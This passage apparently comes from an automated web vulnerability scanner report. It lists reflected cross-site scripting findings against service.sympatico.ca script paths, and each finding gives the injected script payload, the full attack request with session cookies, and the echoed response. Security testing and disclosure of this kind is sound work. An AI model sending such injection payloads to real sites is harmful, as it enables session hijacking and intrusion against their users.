%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:30 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
"hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/additional.js13314"><script>alert(1)</script>e1069ddd86a" />
...[SNIP]...

2.184. http://service.sympatico.ca/js/flash_detect.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/flash_detect.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18788"><script>alert(1)</script>0f363bb9d11 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js18788"><script>alert(1)</script>0f363bb9d11/flash_detect.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:42 GMT
Connection: close
Set-Cookie: SMSESSION=01BLnYztOMdMKX5XgS0rQQntZsURSUc7DEeSGUAQ5bj5QRbTBTsEzkT7Wx4FRwgPmrsZQXmxbmekujJ6d6NAWEk0wa1Up+/MI9FnvzT4RELoh+crOEdZGHJRhHne63c0AA/RbBSMF9Ff1UQppzQ8pdmhU4ecatU/vJJKN/nE9oSkzMpcALFr4/1ycCA0P5KYOase3EAMoYXSMirwLep4HBGrmHaK0eP6p48XY1wSIOmDCEWItg1n/KBnLY7CbOSqgcy9Uzrh00JZAXDoMF4bfbaZNT6Wi5ufOHK2Q23LbZR7CDgQE9cNUA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:43 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:43 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:43 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:43 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:43 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:43 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js18788"><script>alert(1)</script>0f363bb9d11/flash_detect.js" />
...[SNIP]...

2.185. http://service.sympatico.ca/js/flash_detect.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/flash_detect.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 693ff"><script>alert(1)</script>53b369fecb3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/flash_detect.js693ff"><script>alert(1)</script>53b369fecb3 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:47 GMT
Connection: close
Set-Cookie: SMSESSION=OwrkHMv527Qqmczb93qa49kY79+9fSx604c4ZdgL2CvGLT5dTrL87mtpbyFfmIH5jbjQmgwAB3AgmqydeVFGsgQC+REpyzcixMVEFlAMdJK8e93PG4nNS0X5I9ebjrMVR7IgZTFKlIc7LhHRSYp3TAyTfYdhrKOt99UYdOLxnhkpMwDymRgSzIbm+LiEkt2piH8AULzHMOMOGubDGnRk2moHaMp5seurp4/K0At1kFkjgi8lZCQnwmKf8rmyNQF9S+gB/4Bj+iHRiz35Q7P0gw756fL34MIZ3TnnxiwztbM+OvBpT3s2Xg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:48 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:48 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:48 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:48 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:48 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:48 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
idden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/flash_detect.js693ff"><script>alert(1)</script>53b369fecb3" />
...[SNIP]...

2.186. http://service.sympatico.ca/js/flash_quickfix.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/flash_quickfix.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5cbda"><script>alert(1)</script>74a2943c306 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js5cbda"><script>alert(1)</script>74a2943c306/flash_quickfix.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:23 GMT
Connection: close
Set-Cookie: SMSESSION=G5zaVUVwlk04eqG8f8ChClmacwXbCzxMWZrsAZ34kCjAFM2QuDDlP8UbxdOB3ZYH/YfCy3PoOup0u1G861LZWahXxo8RrUEb/71oHTouUDLsL4tEt5P+hyij+mNcQmHQz/uqkdze3tNCPrGU140nB+O2Qefi8LEetEB6yfra9UTbfe7e0Y0RfStZb4DJPUcWC0/z0zp0aXRLGj2jsoOcuagnVsy+ONjGiRSCdBRs2eSeaEBMejJbwljvu4rS8984rk300J6wVT8qJq1KaVCgliVxdCnLCmA0LrfTZI8I9xVnQ7wfd3mZ4w==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:24 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:24 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:24 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:24 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:24 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:24 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:24 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:24 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:24 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:24 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:24 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:24 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:24 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0